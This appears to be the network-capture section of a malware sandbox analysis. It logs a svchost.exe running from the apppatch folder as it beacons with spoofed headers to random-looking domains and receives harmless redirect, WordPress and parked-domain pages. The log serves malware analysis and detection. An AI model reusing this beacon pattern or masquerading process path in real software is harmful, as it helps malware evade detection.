                                                                                                                                                                                                          118192.168.2.664584103.150.10.48804888C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                                                                          Nov 11, 2024 18:15:02.018311977 CET243OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                          Referer: http://www.google.com
                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                          Host: lyrysor.com
                                                                                                                                                                                                          Nov 11, 2024 18:15:03.583857059 CET404INHTTP/1.1 302 Moved Temporarily
                                                                                                                                                                                                          Server: openresty/1.15.8.1
                                                                                                                                                                                                          Date: Mon, 11 Nov 2024 17:15:02 GMT
                                                                                                                                                                                                          Content-Type: text/html
                                                                                                                                                                                                          Content-Length: 151
                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                          Location: http://106.15.232.163:8000/dh/147287063_343064.html#index8?d=lyrysor.com
                                                                                                                                                                                                          Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 2f 31 2e 31 35 2e 38 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a
                                                                                                                                                                                                          Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty/1.15.8.1</center></body></html>
                                                                                                                                                                                                          Nov 11, 2024 18:15:03.584877968 CET404INHTTP/1.1 302 Moved Temporarily
                                                                                                                                                                                                          Server: openresty/1.15.8.1
                                                                                                                                                                                                          Date: Mon, 11 Nov 2024 17:15:02 GMT
                                                                                                                                                                                                          Content-Type: text/html
                                                                                                                                                                                                          Content-Length: 151
                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                          Location: http://106.15.232.163:8000/dh/147287063_343064.html#index8?d=lyrysor.com
                                                                                                                                                                                                          Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 2f 31 2e 31 35 2e 38 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a
                                                                                                                                                                                                          Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty/1.15.8.1</center></body></html>
                                                                                                                                                                                                          Nov 11, 2024 18:15:03.585977077 CET404INHTTP/1.1 302 Moved Temporarily
                                                                                                                                                                                                          Server: openresty/1.15.8.1
                                                                                                                                                                                                          Date: Mon, 11 Nov 2024 17:15:02 GMT
                                                                                                                                                                                                          Content-Type: text/html
                                                                                                                                                                                                          Content-Length: 151
                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                          Location: http://106.15.232.163:8000/dh/147287063_343064.html#index8?d=lyrysor.com
                                                                                                                                                                                                          Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 2f 31 2e 31 35 2e 38 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a
                                                                                                                                                                                                          Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty/1.15.8.1</center></body></html>


                                                                                                                                                                                                          HTTPS Proxied Packets

                                                                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                          0192.168.2.658867188.114.96.34434888C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                                                                          2024-11-11 17:13:02 UTC267OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                          Referer: http://www.google.com
                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                          Host: qegyhig.com
                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                          2024-11-11 17:13:03 UTC947INHTTP/1.1 404 Not Found
                                                                                                                                                                                                          Date: Mon, 11 Nov 2024 17:13:03 GMT
                                                                                                                                                                                                          Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                          Connection: close
                                                                                                                                                                                                          vary: Accept-Encoding
                                                                                                                                                                                                          expires: Wed, 11 Jan 1984 05:00:00 GMT
                                                                                                                                                                                                          Cache-Control: no-cache, must-revalidate, max-age=0
                                                                                                                                                                                                          link: <https://qegyhig.com/wp-json/>; rel="https://api.w.org/"
                                                                                                                                                                                                          cf-cache-status: DYNAMIC
                                                                                                                                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=FDDu%2FsrzGXWHHKKGVBYI2S6m%2Fzoka67dQJ89SciC3%2Bxio3CC9HtqhehLr0I7ENnEt7K7yDM7sepmi25Jlg5PC30Kw5jCglsLlG5BeOwwF3nQ2jJYN8uxXoMdbKrpvw%3D%3D"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                          Server: cloudflare
                                                                                                                                                                                                          CF-RAY: 8e0fe91d8fe55e61-EWR
                                                                                                                                                                                                          alt-svc: h3=":443"; ma=86400
                                                                                                                                                                                                          server-timing: cfL4;desc="?proto=TCP&rtt=1279&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2823&recv_bytes=881&delivery_rate=2238021&cwnd=244&unsent_bytes=0&cid=2b60c149bad0ee63&ts=943&x=0"
                                                                                                                                                                                                          2024-11-11 17:13:03 UTC422INData Raw: 37 63 61 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 09 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 3e 20 0a 09 20 3c 73 74 79 6c 65 3e 0d 0a 23 77 70 61 64 6d 69 6e 62 61 72 20 23 77 70 2d 61 64 6d 69 6e 2d 62 61 72 2d 77 63 63 70 5f 66 72 65 65 5f 74 6f 70 5f 62 75 74 74 6f 6e 20 2e
                                                                                                                                                                                                          Data Ascii: 7caa<!DOCTYPE html><html lang="en-US"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="profile" href="https://gmpg.org/xfn/11"> <style>#wpadminbar #wp-admin-bar-wccp_free_top_button .
                                                                                                                                                                                                          2024-11-11 17:13:03 UTC1369INData Raw: 65 3e 0d 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 27 72 6f 62 6f 74 73 27 20 63 6f 6e 74 65 6e 74 3d 27 6e 6f 69 6e 64 65 78 2c 20 66 6f 6c 6c 6f 77 27 20 2f 3e 0a 0a 09 3c 21 2d 2d 20 54 68 69 73 20 73 69 74 65 20 69 73 20 6f 70 74 69 6d 69 7a 65 64 20 77 69 74 68 20 74 68 65 20 59 6f 61 73 74 20 53 45 4f 20 70 6c 75 67 69 6e 20 76 32 31 2e 33 20 2d 20 68 74 74 70 73 3a 2f 2f 79 6f 61 73 74 2e 63 6f 6d 2f 77 6f 72 64 70 72 65 73 73 2f 70 6c 75 67 69 6e 73 2f 73 65 6f 2f 20 2d 2d 3e 0a 09 3c 74 69 74 6c 65 3e 50 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 20 2d 3c 2f 74 69 74 6c 65 3e 0a 09 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 6c 6f 63 61 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 65 6e 5f 55 53 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 70 72 6f 70 65 72
                                                                                                                                                                                                          Data Ascii: e><meta name='robots' content='noindex, follow' />... This site is optimized with the Yoast SEO plugin v21.3 - https://yoast.com/wordpress/plugins/seo/ --><title>Page not found -</title><meta property="og:locale" content="en_US" /><meta proper
                                                                                                                                                                                                          2024-11-11 17:13:03 UTC1369INData Raw: 20 63 28 65 29 7b 74 72 79 7b 76 61 72 20 74 3d 7b 73 75 70 70 6f 72 74 54 65 73 74 73 3a 65 2c 74 69 6d 65 73 74 61 6d 70 3a 28 6e 65 77 20 44 61 74 65 29 2e 76 61 6c 75 65 4f 66 28 29 7d 3b 73 65 73 73 69 6f 6e 53 74 6f 72 61 67 65 2e 73 65 74 49 74 65 6d 28 6f 2c 4a 53 4f 4e 2e 73 74 72 69 6e 67 69 66 79 28 74 29 29 7d 63 61 74 63 68 28 65 29 7b 7d 7d 66 75 6e 63 74 69 6f 6e 20 70 28 65 2c 74 2c 6e 29 7b 65 2e 63 6c 65 61 72 52 65 63 74 28 30 2c 30 2c 65 2e 63 61 6e 76 61 73 2e 77 69 64 74 68 2c 65 2e 63 61 6e 76 61 73 2e 68 65 69 67 68 74 29 2c 65 2e 66 69 6c 6c 54 65 78 74 28 74 2c 30 2c 30 29 3b 76 61 72 20 74 3d 6e 65 77 20 55 69 6e 74 33 32 41 72 72 61 79 28 65 2e 67 65 74 49 6d 61 67 65 44 61 74 61 28 30 2c 30 2c 65 2e 63 61 6e 76 61 73 2e 77 69
                                                                                                                                                                                                          Data Ascii: c(e){try{var t={supportTests:e,timestamp:(new Date).valueOf()};sessionStorage.setItem(o,JSON.stringify(t))}catch(e){}}function p(e,t,n){e.clearRect(0,0,e.canvas.width,e.canvas.height),e.fillText(t,0,0);var t=new Uint32Array(e.getImageData(0,0,e.canvas.wi
                                                                                                                                                                                                          2024-11-11 17:13:03 UTC1369INData Raw: 3d 74 79 70 65 6f 66 20 50 72 6f 6d 69 73 65 26 26 28 6f 3d 22 77 70 45 6d 6f 6a 69 53 65 74 74 69 6e 67 73 53 75 70 70 6f 72 74 73 22 2c 73 3d 5b 22 66 6c 61 67 22 2c 22 65 6d 6f 6a 69 22 5d 2c 6e 2e 73 75 70 70 6f 72 74 73 3d 7b 65 76 65 72 79 74 68 69 6e 67 3a 21 30 2c 65 76 65 72 79 74 68 69 6e 67 45 78 63 65 70 74 46 6c 61 67 3a 21 30 7d 2c 65 3d 6e 65 77 20 50 72 6f 6d 69 73 65 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 44 4f 4d 43 6f 6e 74 65 6e 74 4c 6f 61 64 65 64 22 2c 65 2c 7b 6f 6e 63 65 3a 21 30 7d 29 7d 29 2c 6e 65 77 20 50 72 6f 6d 69 73 65 28 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 6e 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 72 79 7b 76 61 72 20 65 3d 4a 53 4f 4e 2e 70 61 72 73
                                                                                                                                                                                                          Data Ascii: =typeof Promise&&(o="wpEmojiSettingsSupports",s=["flag","emoji"],n.supports={everything:!0,everythingExceptFlag:!0},e=new Promise(function(e){i.addEventListener("DOMContentLoaded",e,{once:!0})}),new Promise(function(t){var n=function(){try{var e=JSON.pars
                                                                                                                                                                                                          2024-11-11 17:13:03 UTC1369INData Raw: 61 74 65 6d 6f 6a 69 3f 74 28 65 2e 63 6f 6e 63 61 74 65 6d 6f 6a 69 29 3a 65 2e 77 70 65 6d 6f 6a 69 26 26 65 2e 74 77 65 6d 6f 6a 69 26 26 28 74 28 65 2e 74 77 65 6d 6f 6a 69 29 2c 74 28 65 2e 77 70 65 6d 6f 6a 69 29 29 29 7d 29 29 7d 28 28 77 69 6e 64 6f 77 2c 64 6f 63 75 6d 65 6e 74 29 2c 77 69 6e 64 6f 77 2e 5f 77 70 65 6d 6f 6a 69 53 65 74 74 69 6e 67 73 29 3b 0a 3c 2f 73 63 72 69 70 74 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 73 74 79 6c 65 73 68 65 65 74 27 20 69 64 3d 27 61 73 74 72 61 2d 74 68 65 6d 65 2d 63 73 73 2d 63 73 73 27 20 68 72 65 66 3d 27 68 74 74 70 73 3a 2f 2f 71 65 67 79 68 69 67 2e 63 6f 6d 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 74 68 65 6d 65 73 2f 61 73 74 72 61 2f 61 73 73 65 74 73 2f 63 73 73 2f 6d 69 6e 69 66 69 65 64 2f 6d 61 69
                                                                                                                                                                                                          Data Ascii: atemoji?t(e.concatemoji):e.wpemoji&&e.twemoji&&(t(e.twemoji),t(e.wpemoji)))}))}((window,document),window._wpemojiSettings);</script><link rel='stylesheet' id='astra-theme-css-css' href='https://qegyhig.com/wp-content/themes/astra/assets/css/minified/mai
                                                                                                                                                                                                          2024-11-11 17:13:03 UTC1369INData Raw: 65 73 63 72 69 70 74 69 6f 6e 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 30 2e 39 33 37 35 72 65 6d 3b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 3b 7d 2e 65 6e 74 72 79 2d 74 69 74 6c 65 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 36 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 36 32 35 72 65 6d 3b 7d 68 31 2c 2e 65 6e 74 72 79 2d 63 6f 6e 74 65 6e 74 20 68 31 7b 66 6f 6e 74 2d 73 69 7a 65 3a 34 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 32 2e 35 72 65 6d 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 36 30 30 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 2e 34 65 6d 3b 7d 68 32 2c 2e 65 6e 74 72 79 2d 63 6f 6e 74 65 6e 74 20 68 32 7b 66 6f 6e 74 2d 73 69 7a 65 3a 33 32 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 32 72 65 6d 3b 66 6f 6e 74 2d 77 65 69
                                                                                                                                                                                                          Data Ascii: escription{font-size:15px;font-size:0.9375rem;display:none;}.entry-title{font-size:26px;font-size:1.625rem;}h1,.entry-content h1{font-size:40px;font-size:2.5rem;font-weight:600;line-height:1.4em;}h2,.entry-content h2{font-size:32px;font-size:2rem;font-wei
                                                                                                                                                                                                          2024-11-11 17:13:03 UTC1369INData Raw: 62 6b 69 74 2d 73 6c 69 64 65 72 2d 74 68 75 6d 62 7b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 23 64 31 30 34 30 34 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 64 31 30 34 30 34 3b 62 6f 78 2d 73 68 61 64 6f 77 3a 6e 6f 6e 65 3b 7d 2e 73 69 74 65 2d 66 6f 6f 74 65 72 20 61 3a 68 6f 76 65 72 20 2b 20 2e 70 6f 73 74 2d 63 6f 75 6e 74 2c 2e 73 69 74 65 2d 66 6f 6f 74 65 72 20 61 3a 66 6f 63 75 73 20 2b 20 2e 70 6f 73 74 2d 63 6f 75 6e 74 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 64 31 30 34 30 34 3b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 23 64 31 30 34 30 34 3b 7d 2e 73 69 6e 67 6c 65 20 2e 6e 61 76 2d 6c 69 6e 6b 73 20 2e 6e 61 76 2d 70 72 65 76 69 6f 75 73 2c 2e 73 69 6e 67 6c 65 20 2e 6e 61 76 2d 6c 69 6e 6b 73 20 2e 6e 61 76 2d 6e 65 78 74 7b 63
                                                                                                                                                                                                          Data Ascii: bkit-slider-thumb{border-color:#d10404;background-color:#d10404;box-shadow:none;}.site-footer a:hover + .post-count,.site-footer a:focus + .post-count{background:#d10404;border-color:#d10404;}.single .nav-links .nav-previous,.single .nav-links .nav-next{c
                                                                                                                                                                                                          2024-11-11 17:13:03 UTC1369INData Raw: 20 2e 75 61 67 62 2d 69 66 62 2d 63 74 61 20 61 2c 2e 61 73 74 2d 73 69 6e 67 6c 65 2d 70 6f 73 74 20 2e 65 6e 74 72 79 2d 63 6f 6e 74 65 6e 74 20 2e 77 70 2d 62 6c 6f 63 6b 2d 75 61 67 62 2d 62 75 74 74 6f 6e 73 20 61 2c 2e 61 73 74 2d 73 69 6e 67 6c 65 2d 70 6f 73 74 20 2e 65 6e 74 72 79 2d 63 6f 6e 74 65 6e 74 20 2e 75 61 62 62 2d 6d 6f 64 75 6c 65 2d 63 6f 6e 74 65 6e 74 20 61 2c 2e 61 73 74 2d 73 69 6e 67 6c 65 2d 70 6f 73 74 20 2e 65 6e 74 72 79 2d 63 6f 6e 74 65 6e 74 20 2e 75 61 67 62 2d 70 6f 73 74 2d 67 72 69 64 20 61 2c 2e 61 73 74 2d 73 69 6e 67 6c 65 2d 70 6f 73 74 20 2e 65 6e 74 72 79 2d 63 6f 6e 74 65 6e 74 20 2e 75 61 67 62 2d 74 69 6d 65 6c 69 6e 65 20 61 2c 2e 61 73 74 2d 73 69 6e 67 6c 65 2d 70 6f 73 74 20 2e 65 6e 74 72 79 2d 63 6f 6e
                                                                                                                                                                                                          Data Ascii: .uagb-ifb-cta a,.ast-single-post .entry-content .wp-block-uagb-buttons a,.ast-single-post .entry-content .uabb-module-content a,.ast-single-post .entry-content .uagb-post-grid a,.ast-single-post .entry-content .uagb-timeline a,.ast-single-post .entry-con


                                                                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                          1192.168.2.65886699.83.170.34434888C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                                                                          2024-11-11 17:13:02 UTC267OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                          Referer: http://www.google.com
                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                          Host: puzylyp.com
                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                          2024-11-11 17:13:02 UTC352INHTTP/1.1 200 OK
                                                                                                                                                                                                          Alt-Svc: h3=":443"; ma=2592000
                                                                                                                                                                                                          Cache-Control: private, no-cache, no-store, max-age=0, must-revalidate
                                                                                                                                                                                                          Content-Type: text/html; charset=utf-8
                                                                                                                                                                                                          Date: Mon, 11 Nov 2024 17:13:02 GMT
                                                                                                                                                                                                          Etag: "eo8hdgdsrl19wv"
                                                                                                                                                                                                          Server: Caddy
                                                                                                                                                                                                          Server: awselb/2.0
                                                                                                                                                                                                          Vary: Accept-Encoding
                                                                                                                                                                                                          X-Powered-By: Next.js
                                                                                                                                                                                                          Connection: close
                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                          2024-11-11 17:13:02 UTC2372INData Raw: 38 30 30 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 63 68 61 72 53 65 74 3d 22 75 74 66 2d 38 22 2f 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 70 70 6c 65 2d 74 6f 75 63 68 2d 69 63 6f 6e 22 20 73 69 7a 65 73 3d 22 31 38 30 78 31 38 30 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 64 31 35 77 65 6a 7a 65 37 64 32 74 6c 6a 2e 63 6c 6f 75 64 66 72 6f 6e 74 2e 6e 65 74 2f 76 31 2f 70 75 62 6c 69 63 2f 61 70 70 6c 65 2d 74 6f 75 63 68 2d 69 63 6f 6e 2e 70 6e 67 22 2f 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 70 6e 67 22 20 73 69 7a 65 73 3d 22 33 32 78 33 32 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 64 31
                                                                                                                                                                                                          Data Ascii: 8000<!DOCTYPE html><html lang="en-US"><head><meta charSet="utf-8"/><link rel="apple-touch-icon" sizes="180x180" href="https://d15wejze7d2tlj.cloudfront.net/v1/public/apple-touch-icon.png"/><link rel="icon" type="image/png" sizes="32x32" href="https://d1
                                                                                                                                                                                                          2024-11-11 17:13:02 UTC1724INData Raw: 65 78 74 2f 73 74 61 74 69 63 2f 63 68 75 6e 6b 73 2f 62 31 35 35 61 35 35 36 2d 37 32 37 37 64 32 30 35 62 33 61 39 36 64 64 31 2e 6a 73 22 20 64 65 66 65 72 3d 22 22 3e 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 64 31 35 77 65 6a 7a 65 37 64 32 74 6c 6a 2e 63 6c 6f 75 64 66 72 6f 6e 74 2e 6e 65 74 2f 76 31 2f 5f 6e 65 78 74 2f 73 74 61 74 69 63 2f 63 68 75 6e 6b 73 2f 62 37 37 39 62 62 35 65 2d 65 33 34 61 63 36 66 32 62 33 32 65 65 39 62 31 2e 6a 73 22 20 64 65 66 65 72 3d 22 22 3e 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 64 31 35 77 65 6a 7a 65 37 64 32 74 6c 6a 2e 63 6c 6f 75 64 66 72 6f 6e 74 2e 6e 65 74 2f 76 31 2f 5f 6e 65 78 74 2f 73 74 61 74 69 63 2f
                                                                                                                                                                                                          Data Ascii: ext/static/chunks/b155a556-7277d205b3a96dd1.js" defer=""></script><script src="https://d15wejze7d2tlj.cloudfront.net/v1/_next/static/chunks/b779bb5e-e34ac6f2b32ee9b1.js" defer=""></script><script src="https://d15wejze7d2tlj.cloudfront.net/v1/_next/static/
                                                                                                                                                                                                          2024-11-11 17:13:02 UTC4744INData Raw: 78 2d 63 6f 6c 20 67 61 70 2d 32 20 6d 62 2d 36 22 3e 3c 68 32 20 63 6c 61 73 73 3d 22 66 6f 6e 74 2d 49 6e 74 65 72 20 74 65 78 74 2d 78 6c 20 66 6f 6e 74 2d 62 6f 6c 64 20 73 6d 3a 74 65 78 74 2d 32 78 6c 22 3e 49 6e 71 75 69 72 65 20 74 6f 64 61 79 20 74 6f 20 73 65 63 75 72 65 20 74 68 69 73 20 64 6f 6d 61 69 6e 3c 2f 68 32 3e 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 66 6f 6e 74 2d 49 6e 74 65 72 20 74 65 78 74 2d 73 6d 20 66 6f 6e 74 2d 6e 6f 72 6d 61 6c 20 73 6d 3a 74 65 78 74 2d 62 61 73 65 22 3e 50 6c 65 61 73 65 20 63 6f 6d 70 6c 65 74 65 20 74 68 65 20 66 6f 72 6d 20 62 65 6c 6f 77 20 61 6e 64 20 77 65 20 77 69 6c 6c 20 63 6f 6e 6e 65 63 74 20 79 6f 75 20 77 69 74 68 20 6f 6e 65 20 6f 66 20 6f 75 72 20 64 6f 6d 61 69 6e 20 65 78 70 65 72 74 73 2e
                                                                                                                                                                                                          Data Ascii: x-col gap-2 mb-6"><h2 class="font-Inter text-xl font-bold sm:text-2xl">Inquire today to secure this domain</h2><span class="font-Inter text-sm font-normal sm:text-base">Please complete the form below and we will connect you with one of our domain experts.
                                                                                                                                                                                                          2024-11-11 17:13:02 UTC5930INData Raw: 2d 2d 20 2d 2d 3e 29 3c 2f 6f 70 74 69 6f 6e 3e 3c 6f 70 74 69 6f 6e 20 76 61 6c 75 65 3d 22 44 45 22 3e 44 45 3c 21 2d 2d 20 2d 2d 3e 20 28 2b 3c 21 2d 2d 20 2d 2d 3e 34 39 3c 21 2d 2d 20 2d 2d 3e 29 3c 2f 6f 70 74 69 6f 6e 3e 3c 6f 70 74 69 6f 6e 20 76 61 6c 75 65 3d 22 50 45 22 3e 50 45 3c 21 2d 2d 20 2d 2d 3e 20 28 2b 3c 21 2d 2d 20 2d 2d 3e 35 31 3c 21 2d 2d 20 2d 2d 3e 29 3c 2f 6f 70 74 69 6f 6e 3e 3c 6f 70 74 69 6f 6e 20 76 61 6c 75 65 3d 22 4d 58 22 3e 4d 58 3c 21 2d 2d 20 2d 2d 3e 20 28 2b 3c 21 2d 2d 20 2d 2d 3e 35 32 3c 21 2d 2d 20 2d 2d 3e 29 3c 2f 6f 70 74 69 6f 6e 3e 3c 6f 70 74 69 6f 6e 20 76 61 6c 75 65 3d 22 43 55 22 3e 43 55 3c 21 2d 2d 20 2d 2d 3e 20 28 2b 3c 21 2d 2d 20 2d 2d 3e 35 33 3c 21 2d 2d 20 2d 2d 3e 29 3c 2f 6f 70 74 69 6f 6e
                                                                                                                                                                                                          Data Ascii: -- -->)</option><option value="DE">DE... --> (+... -->49... -->)</option><option value="PE">PE... --> (+... -->51... -->)</option><option value="MX">MX... --> (+... -->52... -->)</option><option value="CU">CU... --> (+... -->53... -->)</option
                                                                                                                                                                                                          2024-11-11 17:13:02 UTC7116INData Raw: 2d 2d 3e 20 28 2b 3c 21 2d 2d 20 2d 2d 3e 33 35 36 3c 21 2d 2d 20 2d 2d 3e 29 3c 2f 6f 70 74 69 6f 6e 3e 3c 6f 70 74 69 6f 6e 20 76 61 6c 75 65 3d 22 43 59 22 3e 43 59 3c 21 2d 2d 20 2d 2d 3e 20 28 2b 3c 21 2d 2d 20 2d 2d 3e 33 35 37 3c 21 2d 2d 20 2d 2d 3e 29 3c 2f 6f 70 74 69 6f 6e 3e 3c 6f 70 74 69 6f 6e 20 76 61 6c 75 65 3d 22 41 58 22 3e 41 58 3c 21 2d 2d 20 2d 2d 3e 20 28 2b 3c 21 2d 2d 20 2d 2d 3e 33 35 38 3c 21 2d 2d 20 2d 2d 3e 29 3c 2f 6f 70 74 69 6f 6e 3e 3c 6f 70 74 69 6f 6e 20 76 61 6c 75 65 3d 22 46 49 22 3e 46 49 3c 21 2d 2d 20 2d 2d 3e 20 28 2b 3c 21 2d 2d 20 2d 2d 3e 33 35 38 3c 21 2d 2d 20 2d 2d 3e 29 3c 2f 6f 70 74 69 6f 6e 3e 3c 6f 70 74 69 6f 6e 20 76 61 6c 75 65 3d 22 42 47 22 3e 42 47 3c 21 2d 2d 20 2d 2d 3e 20 28 2b 3c 21 2d 2d 20
                                                                                                                                                                                                          Data Ascii: --> (+... -->356... -->)</option><option value="CY">CY... --> (+... -->357... -->)</option><option value="AX">AX... --> (+... -->358... -->)</option><option value="FI">FI... --> (+... -->358... -->)</option><option value="BG">BG... --> (+...
